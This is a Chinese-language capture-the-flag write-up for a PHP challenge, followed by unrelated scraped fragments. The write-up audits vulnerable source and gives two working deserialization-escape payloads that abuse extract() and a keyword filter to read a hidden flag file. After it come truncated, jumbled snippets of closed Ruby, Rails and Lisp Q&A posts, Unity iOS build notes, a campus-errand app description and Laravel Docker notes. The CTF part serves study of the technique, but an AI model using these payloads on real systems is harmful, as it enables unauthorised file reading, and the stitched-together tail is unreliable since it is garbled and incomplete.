<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}题目如上：
首先进行审计：
① 第一个方法filter是过滤
②第一个if是把$_SESSION变量重置。
然后接下来
extract($_POST);上面这个是吧key-value对直接变成变量，这里可以用来变量覆盖。
接下来是
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}这里如果get里面有sha1就会把给加密，如果没有又没法由用户控制，然后继续往后面审计
$serialize_info = filter(serialize($_SESSION));这个是进行序列化以后同时执行过滤方法
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
这里能够查询的位置是$userinfo['img']而这个对应的其实是过滤后的$_SESSION['img']，但是，它不是直接赋值的，而是采用了反序列化，如果改变序列化以后的字符串，就可以对访问你想要选择的内容。
题目中还有一个提示是phpinfo
于是首先访问phpinfo
最终找到
auto_append_file是执行完这个php就加载这后面的php，因此说明flag可能在这里。
这个题目要利用反序列化逃逸，因为我们是没法直接进行修改，因此可以通过黑名单之类的，对反序列化以后的字符进行增加或者删减来达到逃逸的目的。
payload:
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"1";}
payload解释：
array(3) {
["user"]=> string(23) "flagflagflagflagflagphp"
["function"]=> string(57) "";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"1";}"
["img"]=> string(20) "Z3Vlc3RfaW1nLnBuZw=="
}
string(143) "a:3:{s:4:"user";s:23:"";s:8:"function";s:57:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"1";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
这里用的方法是改value，由于本身有三个键对值所以后面需要补一个1=>1
改value的思路是利用反序列化方法，反序列化执行到s:23:的时候由于黑名单把一部分字符串删去了，导致他会把后续的引号之类的当成user的value来处理，所以只需要处理出来一直到下一个引号开始
处理完三个以后同时括号闭合了，后面的他就不会处理了，会当成垃圾一样丢弃掉。
另一个payload
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
这个是通过改key
array(2) {
["flagphp"]=> string(48) ";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
["img"]=> string(20) "Z3Vlc3RfaW1nLnBuZw=="
}
string(107) "a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
按照目前的情况，这个问题不适合我们的问答形式。我们希望答案得到事实、引用或专业知识的支持，但这个问题可能会引发辩论、争论、投票或扩展讨论。如果您觉得这个问题可以改进并可能重新打开，visitthehelpcenter指导。关闭9年前。我来自C、php和bash背景，很容易学习，因为它们都有相同的C结构，我可以将其与我已经知道的联系起来。然后2年前我学了Python并且学得很好，Python对我来说比Ruby更容易学。然后从去年开始，我一直在尝试学习Ruby，然后是Rails，我承认，直到现在我还是学不会，讽刺的是那些打着简单易学的烙印，但是对于我这样一个老练的程序员来说，我只是无法将它
iOS适配Unity-2019背景由于2019起，Unity的Xcode工程，更改了项目结构。Unity2018的结构：可以看Targets只有一个Unity-iPhone，Unity-iPhone直接依赖管理三方库。Unity2019以后：Targets多了一个UnityFramework，UnityFramework管理三方库，Unity-iPhone依赖于UnityFramwork。所以升级后，会有若干的问题，以下是对问题的解决方式。问题一错误描述error:exportArchive:Missingsigningidentifierat"/var/folders/fr//T/Xcode
我有一个带有channel列的Campaign模型。此channel将存储通过复选框选择的结果的序列化数组。这是模型..app/models/campaign.rbclassCampaignapp/controllers/compaigns_controller.rbclassCampaignsController带有复选框的表单部分..views/campaigns/_target.rb......我在将这些结果保存在Campaign对象中时遇到问题。非常感谢任何帮助。 最佳答案 首先，您提到列名称是channel，但是您在Cam
按照目前的情况，这个问题不适合我们的问答形式。我们希望答案得到事实、引用或专业知识的支持，但这个问题可能会引发辩论、争论、投票或扩展讨论。如果您觉得这个问题可以改进并可能重新打开，visitthehelpcenter指导。关闭10年前。我使用PHP的时间太长了，对它感到厌倦了。我也想学习一门新语言。我一直在使用Ruby并且喜欢它。我必须在Rails和Sinatra之间做出选择，那么您会推荐哪一个？Sinatra真的不能用来构建复杂的应用程序，它只能用于简单的应用程序吗？
我很确定Ruby有这些(等同于__call、__get和__set)，否则find_by将如何在Rails中工作？也许有人可以举一个简单的例子来说明如何定义与find_by相同的方法？谢谢 最佳答案 简而言之你可以映射__调用带有参数的method_missing调用__设置为方法名称以'='结尾的method_missing调用__获取不带任何参数的method_missing调用__调用PHPclassMethodTest{publicfunction__call($name,$arguments){echo"Callingob
Lisp是否适合Web编程/应用程序(交互式)，就像ruby和php一样？需要考虑的事情是:易于使用可部署性难度(尤其是对于编程初学者而言)(编辑)在阅读PaulGraham'sessay之后，我特别提到了CommonLisp.将是我的第一门编程语言。在这方面。这样做合适吗？我听说Clojure的宏功能不如CommonLisp的强大，这就是我尝试学习Clojure的原因。它教授编程并且非常强大。 最佳答案 Lisp是一个语系，而不是单一的语言。为了稍微回答您的问题，是的，存在用于各种Lisp方言的Web框架，例如用于Common
项目背景和意义 目的：本课题主要目标是设计并能够实现一个基于微信校园跑腿小程序系统，前台用户使用小程序发布跑腿任何和接跑腿任务，后台管理使用基于PHP+MySql的B/S架构；通过后台管理跑腿的用户、查看跑腿信息和对应订单。意义：手机网络时代，大学生通过手机网购日常用品、外卖外卖、代取快递等已不再是稀奇的事情。此外，不少高校还流行着校园有偿工作，校园跑腿就成了大学生创业服务项目。 因为你在校园里，所以不会有进入的限制。并不是所有的外卖平台都可以随意进入校园，比如小黄和小蓝的双打外卖平台。许多大学禁止送餐进入学校，更不用说送餐进入宿舍了。这一措施使得校园服务市场的竞争相对不
前言 前端时间PHP项目部署升级需要，需要把Laravel开发的项目部署K8s上，下面以laravel项目为例，讲解采用yaml文件方式部署项目。一、部署步骤1.创建Dockerfile文件Dockerfile是一个用来构建镜像的文本文件，在容器运行时，需要把项目文件和项目运行所必须的组件安装其中。#基础镜像FROMphp:7.4-fpm#时区ARGTZ=Asia/Shanghai#更换容器时区RUNcp"/usr/share/zoneinfo/$TZ"/etc/localtime&&echo"$TZ">/etc/timezone#替换成阿里apt-get源RUNsed-i"s@http
关闭。这个问题不符合StackOverflowguidelines.它目前不接受答案。要求我们推荐或查找工具、库或最喜欢的场外资源的问题对于StackOverflow来说是偏离主题的，因为它们往往会吸引自以为是的答案和垃圾邮件。相反，describetheproblem以及迄今为止为解决该问题所做的工作。关闭9年前。Improvethisquestion我对学习Rails很感兴趣已经有一段时间了，我觉得现在正是浸入其中并实际动手实践的好时机。在过去的一周里，我阅读了所有我能找到的关于Ruby和RubyonRails的免费电子书。我刚刚读完RubyEssentials。我也一直在玩htt
在Ruby中(使用Rails，如果相关)将字符串首字母大写的最佳方法是什么？请注意String#capitalize不是我想要的，因为除了将字符串的首字母大写外，此函数还使所有其他字符变为小写(这是我不想要的——我想让它们保持原样):>>"aA".capitalize=>"Aa" 最佳答案 在Rails中你有String#titleize方法:"测试字符串标题化方法".titleize#=>"测试字符串标题化方法" 关于ruby-on-rails-Ruby相当于PHP的ucfirst()